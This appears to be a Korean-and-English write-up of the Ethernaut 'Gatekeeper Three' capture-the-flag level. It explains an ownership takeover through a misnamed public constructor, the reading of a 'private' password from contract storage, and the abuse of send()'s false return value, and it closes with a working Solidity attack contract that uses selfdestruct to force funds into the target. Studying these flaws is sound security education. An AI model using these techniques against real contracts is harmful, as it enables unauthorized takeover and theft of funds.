Ethernaut 28 Gatekeeper Three
Ethernaut 28 Gatekeeper ThreeEthernaut 28 Gatekeeper ThreeEthernaut 28 Gatekeeper Three 문제 풀이Ethernaut 28 Gatekeeper Three writeup
Contents
문제
지문
Cope with gates and become an entrant. Things that might help: Recall return values of low-level functions. Be attentive with semantic. Refresh how storage works in Ethereum.
코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint256 private password = block.timestamp;
constructor(address payable _target) {
target = GatekeeperThree(_target);
}
function checkPassword(uint256 _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}
function trickInit() public {
trick = address(this);
}
function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}
contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;
SimpleTrick public trick;
function construct0r() public {
owner = msg.sender;
}
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
modifier gateTwo() {
require(allowEntrance == true);
_;
}
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
function getAllowance(uint256 _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}
function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}
function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}
receive() external payable {}
}배경지식
Solidity 0.4.22 이전에는 컨트랙트 이름과 같은 함수를 생성자로 쓰는 방식이 있었다. 지금은 constructor 키워드를 쓰기 때문에 construct0r는 그냥 public 함수다.
배포 시 자동으로 실행되지 않고 아무나 호출할 수 있으므로, owner를 나중에 덮어쓸 수 있다.
private은 Solidity 레벨에서 다른 컨트랙트가 직접 접근하지 못하게 할 뿐, 체인에 저장된 값을 숨기지는 않는다. 컨트랙트의 storage는 슬롯 단위로 공개되어 있고 eth_getStorageAt 같은 RPC로 읽을 수 있다.
SimpleTrick의 상태 변수는 순서대로 저장된다.
target: slot 0trick: slot 1password: slot 2
createTrick()으로 SimpleTrick을 만든 뒤 trick 주소를 얻고, 그 컨트랙트의 slot 2를 읽으면 password를 알 수 있다.
send는 ETH 전송에 실패해도 전체 트랜잭션을 revert하지 않고 false를 반환한다. gateThree는 이 실패를 통과 조건으로 쓴다.
공격 컨트랙트를 owner로 만든 뒤, 공격 컨트랙트가 ETH를 받을 수 없게 receive나 payable fallback을 두지 않으면 payable(owner).send(0.001 ether)가 실패한다.
컨트랙트에 receive()가 없어도 ETH를 강제로 보낼 수 있는 방법이 있다. 여기서는 별도 컨트랙트를 만들고 생성자에서 selfdestruct를 호출해 GatekeeperThree로 잔액을 보내면 된다.
Cancun 이후에도 생성 중인 컨트랙트가 같은 트랜잭션 안에서 selfdestruct되는 경우에는 잔액 전송이 가능하다. 이 문제에서는 address(this).balance > 0.001 ether 조건만 만족하면 된다.
문제 코드 분석
먼저 construct0r와 gateOne이다.
function construct0r() public {
owner = msg.sender;
}
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}construct0r는 이름에 알파벳 o 대신 숫자 0이 들어간, 누구나 호출 가능한 public 함수다.
gateOne은 msg.sender == owner이면서 tx.origin != owner이어야 한다. EOA가 직접 enter()를 호출하면 msg.sender와 tx.origin이 같아서 통과할 수 없다. 따라서 공격 컨트랙트를 owner로 만든 뒤, EOA가 공격 컨트랙트를 통해 enter()를 호출해야 한다.
다음은 createTrick과 password다.
function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}
function getAllowance(uint256 _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}gateTwo는 allowEntrance == true를 요구하고, 이 값은 getAllowance()에서만 바뀐다. 문제는 getAllowance()가 SimpleTrick.checkPassword()를 통과해야 한다는 점이다.
password는 private이지만 storage slot 2에 그대로 저장된다. 실제로 trick 주소를 얻고 slot을 읽어보면 다음과 같다.
await contract.createTrick()
await contract.trick()
'0xd21E19b406fc956392AcF8415D41fbAE6655bD6a'
await web3.eth.getStorageAt('0xd21E19b406fc956392AcF8415D41fbAE6655bD6a', 0)
'0x00000000000000000000000071bcb6eaa9db7fffde06e152454fd954eff79b00'
await web3.eth.getStorageAt('0xd21E19b406fc956392AcF8415D41fbAE6655bD6a', 1)
'0x000000000000000000000000d21e19b406fc956392acf8415d41fbae6655bd6a'
await web3.eth.getStorageAt('0xd21E19b406fc956392AcF8415D41fbAE6655bD6a', 2)
'0x00000000000000000000000000000000000000000000000000000000692e9ca4'slot 0과 slot 1은 주소값이고, slot 2의 0x692e9ca4가 password다. 이 값을 uint256으로 넘기면 allowEntrance가 true가 된다.
마지막은 gateThree의 실패 조건이다.
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}조건을 만족하지 못하면 revert 없이 함수 본문만 건너뛴다. 따라서 entrant를 바꾸려면 두 조건을 모두 만족해야 한다.
첫 번째 조건은 GatekeeperThree에 0.001 ether보다 많은 ETH를 넣으면 된다. 일반 전송도 가능하지만, 여기서는 문제 힌트에 맞게 selfdestruct로 강제 전송한다.
두 번째 조건은 owner에게 0.001 ether를 보내는 send가 false를 반환하는 것이다. owner를 공격 컨트랙트로 만들고, 공격 컨트랙트에 ETH 수신 함수를 두지 않으면 이 전송이 실패한다.
풀이
통과해야 할 조건은 세 개다.
owner는 공격 컨트랙트이고,enter()호출은 공격 컨트랙트를 거쳐야 한다.SimpleTrick의 slot 2에서password를 읽어getAllowance(password)를 호출해야 한다.GatekeeperThree에는0.001 ether보다 많은 ETH가 있어야 하고,owner로의send는 실패해야 한다.
먼저 createTrick()을 호출해 SimpleTrick을 만들고, trick()으로 주소를 확인한 뒤 slot 2를 읽는다. 그 다음 공격 컨트랙트에서 construct0r(), getAllowance(password), enter()를 순서대로 호출한다.
createTrick()을 공격 함수 안에 같이 넣지 않은 이유는 중간에 storage를 읽어 password를 알아내야 하기 때문이다.
익스플로잇
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IGatekeeperThree {
function getAllowance(uint256 _password) external;
function createTrick() external;
function enter() external;
function construct0r() external;
}
contract Selfdestruct {
constructor(address _addr) payable {
selfdestruct(payable(_addr));
}
}
contract Attack {
IGatekeeperThree gatekeeperthree;
constructor(address _addr) {
gatekeeperthree = IGatekeeperThree(_addr);
}
function forceFund() external payable {
new Selfdestruct{value: msg.value}(address(gatekeeperthree));
}
function attack(uint256 _password) public {
gatekeeperthree.construct0r();
gatekeeperthree.getAllowance(_password);
gatekeeperthree.enter();
}
}
Challenge
Prompt
Cope with gates and become an entrant. Things that might help: Recall return values of low-level functions. Be attentive with semantic. Refresh how storage works in Ethereum.
Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint256 private password = block.timestamp;
constructor(address payable _target) {
target = GatekeeperThree(_target);
}
function checkPassword(uint256 _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}
function trickInit() public {
trick = address(this);
}
function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}
contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;
SimpleTrick public trick;
function construct0r() public {
owner = msg.sender;
}
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
modifier gateTwo() {
require(allowEntrance == true);
_;
}
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
function getAllowance(uint256 _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}
function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}
function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}
receive() external payable {}
}Background
Before Solidity 0.4.22, a function with the same name as the contract could serve as the constructor. Now the constructor keyword is used, so construct0r is just a public function.
It does not run automatically on deployment and anyone can call it, so owner can be overwritten later.
private only prevents other contracts from accessing a value directly at the Solidity level; it does not hide the value stored on-chain. A contract's storage is public per slot and can be read with an RPC such as eth_getStorageAt.
SimpleTrick's state variables are stored in order.
target: slot 0trick: slot 1password: slot 2
After creating SimpleTrick with createTrick(), obtain the trick address and read that contract's slot 2 to learn the password.
send does not revert the whole transaction when the ETH transfer fails; it returns false instead. gateThree uses this failure as its pass condition.
If the attack contract is the owner and has no receive or payable fallback, it cannot receive ETH and payable(owner).send(0.001 ether) fails.
ETH can be forced into a contract even if it has no receive(). Here we create a separate contract and call selfdestruct in its constructor to send the balance to GatekeeperThree.
Even after Cancun, when a contract being created is selfdestructed within the same transaction, the balance transfer is possible. In this challenge we only need to satisfy the address(this).balance > 0.001 ether condition.
Analyzing the challenge code
First, construct0r and gateOne:
function construct0r() public {
owner = msg.sender;
}
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}construct0r has the digit 0 instead of the letter o, so it is a public function anyone can call.
gateOne requires msg.sender == owner while tx.origin != owner. If an EOA calls enter() directly, msg.sender and tx.origin are the same and the check fails. So we make the attack contract the owner, and then have the EOA call enter() through the attack contract.
Next, createTrick and password:
function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}
function getAllowance(uint256 _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}gateTwo requires allowEntrance == true, and this value is only changed in getAllowance(). The problem is that getAllowance() must pass SimpleTrick.checkPassword().
password is private but is still stored in storage slot 2. Reading the slots at the trick address gives:
await contract.createTrick()
await contract.trick()
'0xd21E19b406fc956392AcF8415D41fbAE6655bD6a'
await web3.eth.getStorageAt('0xd21E19b406fc956392AcF8415D41fbAE6655bD6a', 0)
'0x00000000000000000000000071bcb6eaa9db7fffde06e152454fd954eff79b00'
await web3.eth.getStorageAt('0xd21E19b406fc956392AcF8415D41fbAE6655bD6a', 1)
'0x000000000000000000000000d21e19b406fc956392acf8415d41fbae6655bd6a'
await web3.eth.getStorageAt('0xd21E19b406fc956392AcF8415D41fbAE6655bD6a', 2)
'0x00000000000000000000000000000000000000000000000000000000692e9ca4'Slot 0 and slot 1 are address values, and slot 2's 0x692e9ca4 is the password. Passing this value as a uint256 sets allowEntrance to true.
Finally, the failure condition of gateThree:
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}If the condition is not met, the function body is skipped without a revert. So to change entrant we must satisfy both conditions.
For the first condition, we put more than 0.001 ether of ETH into GatekeeperThree. A normal transfer works too, but to match the hint we force it with selfdestruct.
For the second condition, the send of 0.001 ether to owner must return false. By making the attack contract the owner and giving it no ETH-receiving function, this transfer fails.
Solution
There are three conditions to pass.
owneris the attack contract, and theenter()call must go through the attack contract.- Read
passwordfromSimpleTrick's slot 2 and callgetAllowance(password). GatekeeperThreemust have more than0.001 etherof ETH, and thesendtoownermust fail.
First call createTrick() to create SimpleTrick, check its address with trick(), then read slot 2. Then, from the attack contract, call construct0r(), getAllowance(password), and enter() in order.
createTrick() stays outside the attack function because we need to read storage in between to learn the password.
Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IGatekeeperThree {
function getAllowance(uint256 _password) external;
function createTrick() external;
function enter() external;
function construct0r() external;
}
contract Selfdestruct {
constructor(address _addr) payable {
selfdestruct(payable(_addr));
}
}
contract Attack {
IGatekeeperThree gatekeeperthree;
constructor(address _addr) {
gatekeeperthree = IGatekeeperThree(_addr);
}
function forceFund() external payable {
new Selfdestruct{value: msg.value}(address(gatekeeperthree));
}
function attack(uint256 _password) public {
gatekeeperthree.construct0r();
gatekeeperthree.getAllowance(_password);
gatekeeperthree.enter();
}
}